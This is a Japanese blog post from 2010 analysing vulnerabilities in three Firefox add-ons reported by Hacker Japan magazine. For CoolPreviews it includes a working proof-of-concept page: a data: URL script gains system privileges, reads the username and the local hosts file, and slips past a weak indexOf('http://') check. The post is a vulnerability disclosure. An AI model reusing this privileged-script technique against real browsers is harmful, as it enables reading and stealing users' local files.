ハッカージャパンにあったFirefoxアドオンの脆弱性
Hacker Japan (ハッカー ジャパン) 2010年 07月号 [雑誌]
- 出版社/メーカー: 白夜書房
- 発売日: 2010/06/08
- メディア: 雑誌
- 購入: 3人 クリック: 66回
- この商品を含むブログ (4件) を見る
あげられたアドオンは
- FireFTP :: Add-ons for Firefox
ウェルカム・メッセージに悪意のあるコードがある場合、これをブラウザーが実行
だそうです。
- Wizz RSS News Reader - Rss, Atom & Podcast Feeds - Gmail Checker
descriptionタグにあるHTMLやJavaScriptを実行
できるそうです。
- CoolPreviews :: Add-ons for Firefox
data://URLでXSS
が可能だそうです。
の3つ
FireFTPはまだ調べてない(なんとなく見つけるのが大変そうな気がしたので後回しにした)
WizzRSSは上記説明でなんとなく予想が付いて、RSSのdescription要素の中身をサニタイズせず(というべきか分からないが)そのまま表示したためだろう。XULアプリにはHTML文字列のscriptタグなどを取り除くnsIScriptableUnescaseHTMLというものがあり、それを使用しなかったのだろうと思ったら、
Disclaimer: While I have made every effort to ensure that versions of Wizz RSS downloaded from this page are vulnerability safe, I can not guarantee that they are 100% free of vulnerabilities. The method prescribed by Mozilla for sanitizing HTML (nsIScriptableUnescapeHTML.parseFragment()), which has been implemented in the Wizz RSS code, is itself subject to vulnerabilities.
Download Nag Free Version
とページに書かれていた。現在は既に修正されている。(AMOからはページが削除されている様だが....)
次、CoolPreviewsである。
結論、ヤバイ。XSSなんて代物じゃない。ほぼ、任意のコードを実行できる。使用している方は即アンインストールしましょう
この拡張機能は、リンク先をマウスオーバーすると右にアイコンが表示され、それをクリックするとページ遷移することなくリンク先をプレビュー表示できるもの。
以下、実証コード(ログインしているユーザ名とhostsファイルの中身を表示するだけのもの)。
Components.classesだとかComponents.interfacesだとか見慣れないものがあるが、これはFirefox内部のシステム特権がないとアクセスできないオブジェクトである。それに簡単にアクセスできてしまうのだ。システム特権があれば、ローカルファイルの読み書きや実行、クロスドメインXMLHttpRequestが可能であり、ほぼ何でもありだ。
<html> <head> <title>CoolePreviews(ver 3.1.0521)の脆弱性</title> </head> <body> <p><a href="data:text/html,<script>'https://'; const Cc = Components.classes,Ci=Components.interfaces; function w(str){document.write(str);} w('<p>Your name is '+Cc['@mozilla.org/userinfo;1'].getService(Ci.nsIUserInfo).username+'</p>'); var xhr=new XMLHttpRequest; var os=Cc['@mozilla.org/xre/app-info;1'].getService(Ci.nsIXULRuntime).OS; var fileURL= (os=='WINNT')?'file://C://WINDOWS/system32/drivers/etc/hosts':'file:///etc/hosts'; xhr.open('GET',fileURL,false);xhr.send(null); w('<pre>'+xhr.responseText+'</pre>'); </script>">hoge</a></p> </body> </html>
この拡張はリンク先のhrefを読み取ってプレビュー時にbrowser要素(iframeの様なもの)でloadURIしている。通常のプロトコルのhttp等ならそれなりの権限で実行されるのだろうが、dataURLだと実行したスクリプトの権限(この場合拡張からなのでシステム権限)になってしまうのではなかろうか。
一応、a.href.toString().indexOf
でhttpやhttpsがないか見ているようだが、やり方がindexOf('http://')!=-1)
なので、http://
という文字列が何処かにあれば良くなってしまっている。
こりゃダメでしょ。
コードもの様に微妙に難読化されているし、AMOのレビューする人も正常系だけ確認して終わっちゃったんでしょうね。
ハッカージャパン中ではレビューの強化とGoogleChromeの様なサンドボックスの導入を謳ってたけど...。